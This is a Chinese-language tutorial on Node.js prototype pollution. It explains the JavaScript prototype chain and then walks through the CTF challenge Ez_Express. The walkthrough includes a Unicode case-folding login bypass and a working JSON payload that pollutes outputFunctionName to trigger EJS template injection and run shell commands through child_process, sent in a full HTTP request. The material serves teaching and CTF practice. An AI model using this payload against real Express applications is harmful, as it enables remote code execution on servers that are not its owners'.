Nodejs原型链污染-NGC660 安全实验室

Nodejs与JavaScript和JSON

有一些人在学习JavaScript时，会分不清Nodejs和JavaScript之间的区别，如果没有node，那么我们的JavaScript代码则由浏览器中的JavaScript解析器进行解析，几乎所有的浏览器都配备了JavaScript的解析功能（最出名的就是google的v8），这也是为什么我们能在f12中直接执行JavaScript的原因。而Nodejs则是由这个解析器单独从浏览器中拿出来，并进行了一系列的处理，最后成为了一个可以在服务端运行JavaScript的环境。这里看到一个很好的例子，学过java的师傅应该就明白了。

那么JSON又是什么呢？简单概括一下就是JavaScript的对象表示方法，它表示的是声明对象的一种格式；由于我们从前端接收到的数据基本都是字符串，因此在服务端如果要将这些字符串处理为其他格式；比如对象，就需要用到JSON了。

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原型对象（`prototype`）与原型连接点（`proto`）与原型链

在c++或java这些面向对象的语言中，我们如果想要一个对象首先需要使用关键字class声明一个类，再使用关键字new一个对象出来；但是在JavaScript中没有class 以及类这种概念（为了简化编写JavaScript代码，ECMAScript 6后增加了class语法，但class其实只是一个语法糖）在JavaScript有这么两种声明对象的方式，为了好理解我们先引入类的思想。

person=new Object()person.firstname="John";person.lastname="Doe";person.age=50;person.eyecolor="blue";这种创建对象的方法还有另一种写法 如下person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};这种方法通过直接实例化构造方法Object()来创建对象

function person(firstname,lastname,age,eyecolor)  这里创建了一个“类” 但是在JavaScript中叫做构造函数或者构造器{    this.firstname=firstname;    this.lastname=lastname;    this.age=age;    this.eyecolor=eyecolor;}var myFather=new person("John","Doe",50,"blue"); 通过这个“类”实例化对象var myMother=new person("Sally","Rally",48,"green");这种方法先创建构造函数 再实例化构造函数 构造函数function也属于Object 如果对这里为什么属于Object而不属于Function有疑问请继续阅读 下面会解释

既然是通过实例化Object来创建对象或创建构造函数

在JavaScript中有两个很特殊的对象 Function() 和 Object() 它们两个既是构造函数也是对象，作为对象是不是应该有一个“类”去作为他们的模板呢？

对于Object()来说，要声明这么一个构造函数我们可以使用关键字function来创建。（在底层使用function创建一个函数其实就相当于这个过程）

function Object(){}在底层为var Object = new Function();

那么对于Function自己这个对象他是怎么来的呢？如果用Function.__proto__和Function.prototype进行比较发现二者是全等的。所以Function创造了自己也创造了Object 所以JavaScript中所有函数都是对象，而对象是通过函数创建的，因此构造函数.prototype.__proto__ 应该是Object.prototype 而不是Function.prototype Function的作用是创建而不是继承。

那么提到了__proto__和prototype我们就来说说这两个是什么东西，

首先我们要了解以下概念

• __proto__是任何一个对象拥有的属性 prototype是任何一个函数拥有的一个属性

比如：

person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};

那么这个person对象就拥有了person.__proto__这个属性，而Object()我们刚才提到了是由Function创建来的一个构造函数，那么Object就天生有了Object.prototype

• 某一对象的 __proto__指向它的prototype（原型对象）也就是说如果直接访问person.__proto__ 那么就相当于访问了Object.prototype
• JavaScript使用prototype链实现继承机制
• 构造函数xxx.prototype是一个对象 xxx.prototype也有自己的__proto__属性，并且可以继续指向它的的prototype
• Object.prototype.proto最终指向null ，这也是所有原型链的终点
• 从一个对象的__proto__不断向上指向原型对象最终指向Objecct.prototype后接着指向为Null 这一条链子就叫做原型链

有条件的师傅也可以把下面的视频合集看一下，对理解原型和原型链有很大的帮助。

4_Function与Object的特殊性_哔哩哔哩_bilibili

如果我们有如下代码：

function Father() {    this.first_name = 'Donald'    this.last_name = 'Trump'}function Son() {    this.first_name = 'Melania'}Son.prototype = new Father()let son = new Son()console.log(`Name: ${son.first_name} ${son.last_name}`)

那么按照上述说法就有如下结构

对于对象son，在调用son.last_name的时候，实际上JavaScript引擎会进行如下操作：

1. 在对象son中寻找last_name
2. 如果找不到，则在son.__proto__中寻找last_name
3. 如果仍然找不到，则继续在son.__proto__.__proto__中寻找last_name
4. 依次寻找，直到找到null结束。

原型链污染

举个栗子

// 这个对象直接实例化Object()let foo = {bar: 1}// foo.bar 此时为1console.log(foo.bar)// 修改foo的原型（即Object）foo.__proto__.bar = 2// 由于查找顺序的原因，foo.bar仍然是1console.log(foo.bar)// 此时再用Object创建一个空的zoo对象let zoo = {}// 查看zoo.barconsole.log(zoo.bar)

这里由于修改了foo.__proto__.bar ，也就是修改了Object.bar 因此在后续的实例化对象中，新的对象会继承这一属性，造成了原型链污染

在实际应用中，哪些情况下可能存在原型链能被攻击者修改的情况呢？

我们思考一下，哪些情况下我们可以设置__proto__的值呢？其实找找能够控制数组（对象）的“键名”的操作即可。

看下面代码一个简单的对象clone

function merge(target, source) {    for (let key in source) {        if (key in source && key in target) {              // 如果target与source有相同的键名 则让target的键值为source的键值            merge(target[key], source[key])        } else {            target[key] = source[key]  // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值        }    }}let o1 = {}let o2 = {a: 1, "__proto__": {b: 2}}merge(o1, o2)console.log(o1.a, o1.b)o3 = {}console.log(o3.b)

这里执行后发现，虽然两个对象成功clone，但是Object()并没用被污染，这是因为在创建o2时 __proto__是已经存在于o2中的属性了，解析器并不能将这个属性解析为键值，所以要用JSON去修改代码，（前面我们说了 JSON是JavaScript的对象表示方法可以将字符串转换为对象）这样就可以使__proto__被成功解析成键名了。

let o1 = {}let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')merge(o1, o2)console.log(o1.a, o1.b)o3 = {}console.log(o3.b)

漏洞复现

[GYCTF2020]Ez_Express

进入环境之后是一个登录页面，测试之后发现存在www.zip源码泄露开始审计index.js

var express = require('express');var router = express.Router();const isObject = obj => obj && obj.constructor && obj.constructor === Object;const merge = (a, b) => {  for (var attr in b) {    if (isObject(a[attr]) && isObject(b[attr])) {      merge(a[attr], b[attr]);    } else {      a[attr] = b[attr];    }  }  return a}const clone = (a) => {  return merge({}, a);}function safeKeyword(keyword) {  if(keyword.match(/(admin)/is)) {      return keyword  }  return undefined}router.get('/', function (req, res) {  if(!req.session.user){    res.redirect('/login');  }  res.outputFunctionName=undefined;  res.render('index',data={'user':req.session.user.user});});router.get('/login', function (req, res) {  res.render('login');});router.post('/login', function (req, res) {  if(req.body.Submit=="register"){   if(safeKeyword(req.body.userid)){    res.end("<script>alert('forbid word');history.go(-1);</script>")    }    req.session.user={      'user':req.body.userid.toUpperCase(),      'passwd': req.body.pwd,      'isLogin':false    }    res.redirect('/');   }  else if(req.body.Submit=="login"){    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){      req.session.user.isLogin=true;    }    else{      res.end("<script>alert('error passwd');history.go(-1);</script>")    }    }  res.redirect('/'); ;});router.post('/action', function (req, res) {  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}   req.session.user.data = clone(req.body);  res.end("<script>alert('success');history.go(-1);</script>");  });router.get('/info', function (req, res) {  res.render('index',data={'user':res.outputFunctionName});})module.exports = router;

看下面两段代码：

function safeKeyword(keyword) {  if(keyword.match(/(admin)/is)) {      return keyword  }  return undefined}

router.post('/login', function (req, res) {  if(req.body.Submit=="register"){   if(safeKeyword(req.body.userid)){    res.end("<script>alert('forbid word');history.go(-1);</script>")    }    req.session.user={      'user':req.body.userid.toUpperCase(),      'passwd': req.body.pwd,      'isLogin':false    }    res.redirect('/');   }  else if(req.body.Submit=="login"){    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){      req.session.user.isLogin=true;    }    else{      res.end("<script>alert('error passwd');history.go(-1);</script>")    }    }  res.redirect('/'); ;});

只有用admin登录才会return keyword，否则返回undefined，返回undefined就会弹窗forbid word，如果username经过toUpperCase后不能与原来的匹配，或password错误，就会弹窗error passwd，这也是为什么题中说用户名只支持大写。

再看这段，就很恶心，如果username为ADMIN就不能登录，又不让用admin 又得用admin登录，这里就用到了JavaScript大小写的漏洞。

原理移步p神博客 Fuzz中的javascript大小写特性 | 离别歌 (leavesongs.com)

if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}

所以用ADMıN来绕过，注意不是ADMiN 中间那个i是一个奇怪的字符，把username输入ADMıN直接注册就可以了，（题目环境怪怪的有的时候ADMıN 不行就试试admın）登录进去还给了flag的位置。

这里试了试没啥用，继续看源码，上面提到了 merge clone操作可以控制键值和键名，从而达到污染。

const merge = (a, b) => {  for (var attr in b) {    if (isObject(a[attr]) && isObject(b[attr])) {      merge(a[attr], b[attr]);    } else {      a[attr] = b[attr];    }  }  return a}const merge = (a, b) => {  for (var attr in b) {    if (isObject(a[attr]) && isObject(b[attr])) {      merge(a[attr], b[attr]);    } else {      a[attr] = b[attr];    }  }

往下看找到调用clone的位置

router.post('/action', function (req, res) {  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}   req.session.user.data = clone(req.body);  res.end("<script>alert('success');history.go(-1);</script>");  });

也就是说我们可以在action路由下通过请求体来进行污染，原型链污染的位置找到了，接下来就是要找到可以用来控制键名和键值的对象。

看到这段

router.get('/info', function (req, res) {  res.render('index',data={'user':res.outputFunctionName});})

render函数应该不陌生，在模板注入攻击（SSTI）中很常见，这里将回显req的outputFunctionNmae渲染到了index中，那么我们是不是可以利用outputFunctionName进行SSTI从而达到rce呢？代码跟下来我们发现并没有outputFunctionName这个东西，也就是说它是我们可以用来污染原型链的载体，如果把Object的prototype中加上键名为outputFunctionName 键值为恶意payload的属性，那么在进行模板渲染时，是不是就会执行我们的恶意payload

但是我们考虑一个问题，如何去修改Object的prototype，（确实是可以的但是有点麻烦，下面参考文章的最后一篇就是直接修改Object的prototypr）我们重新回到这段代码。

router.post('/action', function (req, res) {  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}   req.session.user.data = clone(req.body);  res.end("<script>alert('success');history.go(-1);</script>");  });

发现请求体被clone到了req.session.user.data中，对于req.session.user这个对象来说，它的__proto__属性是不是就是Object的prototype ，所以我们可以修改了这个对象的__proto__从而达到目的。

req.session.user={      'user':req.body.userid.toUpperCase(),      'passwd': req.body.pwd,      'isLogin':false    }

SSTI的payload我也不是很懂，反正原理都是不断调用原型对象，最后找到一个可以用来rce的函数，payload和CVE-2019-10744是一样的，直接搬来用了。

{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}

污染成功后在info路由下调用res.outputFunctionName时，就像上面调用son.last_name的过程一样，最终调用到了Object的outputFunctionName 并且要让__proto__为键名，要用JSON格式，所以要用burp拦包添加content type（在进行POST传参时必须有该头）放个包做个参考，记得路由和传参方式也要改再传payload 。

POST /action HTTP/1.1Host: 8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81/loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: session=s%3A1jilnCKBesMA5qC1gPlt6SPb18ntn7h7.4wyQ3TbDJtVXUhdOdErxMFKs6EcCnNrCkeUjRFYK3MYContent-Type: application/jsonConnection: closeContent-Length: 137{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}

在action路由下污染成功后应该接着访问info路由进行SSTI，但是不知道为啥我包发过去直接给flag了。